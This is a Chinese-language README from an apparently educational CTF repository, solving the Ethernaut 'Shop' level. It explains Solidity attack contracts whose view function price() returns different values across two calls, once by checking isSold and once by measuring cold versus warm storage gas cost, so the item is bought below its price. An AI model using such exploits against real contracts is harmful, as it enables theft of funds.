Skip to content

Latest commit

 

History

History
78 lines (56 loc) · 1.9 KB

README.md

File metadata and controls

78 lines (56 loc) · 1.9 KB

Shop

题目描述

原题 in Sepolia

以低于要求的价格从商店买到商品.

运行

根据Foundry 官方文档配置好运行环境后,于本项目下执行下列命令:

$ cd WTF-CTF

$ forge test -C src/Ethernaut/Shop -vvvvv

功能简述

只要两次调用price的结果不同即可。view函数不能修改变量,只能读取变量。但如果某一变量进行了改变,view函数是不会检查的

function buy() public {
	Buyer _buyer = Buyer(msg.sender);

	if (_buyer.price() >= price && !isSold) {
		isSold = true;
		price = _buyer.price();
	}
}

Shop合约buy函数在两次price()调用中改变了isSold的值,所以我们可以通过isSold的具体值而返回不同的价格以使用更低的价格购买。

function price() external view returns (uint256) {
	if (Shop(shop).isSold()) {
		return 0;
	} else {
		return 200;
	}
}

那如果将Shop合约buy函数修改为这样,如何进行攻击?

function buy() public {
	Buyer _buyer = Buyer(msg.sender);

	if (_buyer.price() >= price && !isSold) {
		price = _buyer.price();
		isSold = true;
		}
}

sload操作码会根据插槽的冷暖收取不同的gas值。

If the accessed address is warm, the dynamic cost is 100. Otherwise the dynamic cost is 2100. See section access sets.

如果在一次交易中读取了同一个storage变量,第二次读取时所消耗的gas费用会更低。

所以,可以在view函数中读取一个storage变量,根据gas消耗的差值来判断是否是第一次调用。

function price() external view returns (uint256) {
	uint256 gasleftBefore = gasleft();
	justcostGas + 1;
	if (gasleftBefore - gasleft() >= 2000) {
		return 200;
	} else {
		return 0;
	}
}